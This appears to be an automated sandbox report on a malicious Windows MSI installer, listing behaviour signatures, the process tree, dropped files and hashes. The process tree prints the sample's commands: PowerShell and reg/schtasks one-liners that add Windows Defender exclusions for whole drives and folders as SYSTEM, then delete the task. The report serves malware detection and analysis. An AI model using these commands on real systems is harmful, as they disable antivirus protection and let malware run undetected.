Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 09:26

General

  • Target
    setup_n0c003.msi
  • Size 6.2MB
  • Sample260804-lee7wacj3w
  • SHA256 cd27572ba9dc8c6736fd3fcc1158c569abf3b7824757491bc94774132c5d9af8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 10 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c003.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1160
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2620
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 991CC8CD84EE8C43471C33341C345486 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1480
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2060
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4324
    • C:\Users\Public\SOSJ6b\LclPVU.exe
      "C:\Users\Public\SOSJ6b\LclPVU.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2172
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4416
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\SOSJ6b\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4428
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\SOSJ6b\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2988
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:3320
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5888
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5352
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5116
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5224
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5628
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2492
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5620
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3752
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:928
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5012
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5344
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:3404
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:580
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1412
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4152
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:3280
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3336
                          • C:\Program Files (x86)\HDbKLa\HDbKLa.exe
                            "C:\Program Files (x86)\HDbKLa\HDbKLa.exe"
                            2⤵
                              PID:5384
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\SOSJ6b" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3428
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\SOSJ6b" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2588
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:2788
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4828
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1340
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1140
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:5036
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3768
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:3836

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  e593ba9.rbs

                                  • Path C:\Config.Msi\e593ba9.rbs
                                  • Size 7KB
                                  • SHA256 f6786de25ba4563129b982095be79580709070086ca1ae821da46e3be45eb858
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  HDbKLa.exe

                                  • Path C:\Program Files (x86)\HDbKLa\HDbKLa.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\HDbKLa\XPSPLOG.dll
                                  • Size 3.0MB
                                  • SHA256 82c1b8913f0d236fa724aceee728994c5a5e2ed91b86f624ba4b766f91d5de6c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\HDbKLa\XPSPLOG.dll
                                  • Size 1.4MB
                                  • SHA256 2122f391d3d267b715a999786957c4d8e244502409c20aa89ec1eebe4bbf04d2
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  LclPVU.exe

                                  • Path C:\Users\Public\SOSJ6b\LclPVU.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\SOSJ6b\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 11779f933a9d00b45e5f8a02e088fa9930f2b792075884eb4c90da7cf6cfd993
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\SOSJ6b\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 206c4bd4ca48eed8a7b2aef9e9aa6774d9eda25e62211f316e6347f00fbce23f
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\SOSJ6b\msadox.tb
                                  • Size 8KB
                                  • SHA256 9368576ba9911e9962704d4f6b6b0834ab08265983223a15133e16d4a337f615
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  MSI4108.tmp

                                  • Path C:\Windows\Installer\MSI4108.tmp
                                  • Size 6.2MB
                                  • SHA256 308a4c601662f6c312a36843c193e189450edb0f6bf2bc12b20f4ac67f70b9e4
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  e593ba8.msi

                                  • Path C:\Windows\Installer\e593ba8.msi
                                  • Size 6.2MB
                                  • SHA256 cd27572ba9dc8c6736fd3fcc1158c569abf3b7824757491bc94774132c5d9af8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  metadata-2

                                  • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                  • Size 26.1MB
                                  • SHA256 466d9551c3fb11ea64c244b5678e0f5bc27458996e40940256f623e2a6672757
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  {46fcd793-4c13-4912-84f9-163962a3028d}_OnDiskSnapshotProp

                                  • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{46fcd793-4c13-4912-84f9-163962a3028d}_OnDiskSnapshotProp
                                  • Size 6KB
                                  • SHA256 b8a86cb33294d62ccb831281135153d26d097e0667555b1201c4245c0601a721
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1480-13-0x00007FFBC84A0000-0x00007FFBC8AD7000-memory.dmp

                                  memory/1480-49-0x00007FFBDB8E0000-0x00007FFBDB8F2000-memory.dmp

                                  memory/1480-12-0x00007FFBEC8D0000-0x00007FFBEC8D2000-memory.dmp

                                  memory/1480-17-0x00007FFBDB8E0000-0x00007FFBDB8F2000-memory.dmp

                                  memory/2172-76-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-98-0x0000019003390000-0x000001900341A000-memory.dmp

                                  memory/2172-73-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-80-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-82-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-83-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-81-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-88-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-95-0x0000019003390000-0x000001900341A000-memory.dmp

                                  memory/2172-94-0x00000190032B0000-0x00000190032FE000-memory.dmp

                                  memory/2172-99-0x0000019003390000-0x000001900341A000-memory.dmp

                                  memory/2172-75-0x00007FFBEC8E0000-0x00007FFBEC8E2000-memory.dmp

                                  memory/2172-97-0x0000019003390000-0x000001900341A000-memory.dmp

                                  memory/2172-101-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-104-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-105-0x0000019003DF0000-0x0000019004681000-memory.dmp

                                  memory/2172-67-0x00007FFBEC8D0000-0x00007FFBEC8D2000-memory.dmp

                                  memory/2172-68-0x00007FFBC85C0000-0x00007FFBC8ADE000-memory.dmp

                                  memory/2580-16-0x00000285E9AA0000-0x00000285EA444000-memory.dmp

                                  memory/4416-117-0x00000216D77B0000-0x00000216D7862000-memory.dmp

                                  memory/4416-118-0x00000216BF2F0000-0x00000216BF2FA000-memory.dmp

                                  memory/4416-115-0x00000216BF2D0000-0x00000216BF2EE000-memory.dmp

                                  memory/4416-112-0x00000216BF280000-0x00000216BF2A2000-memory.dmp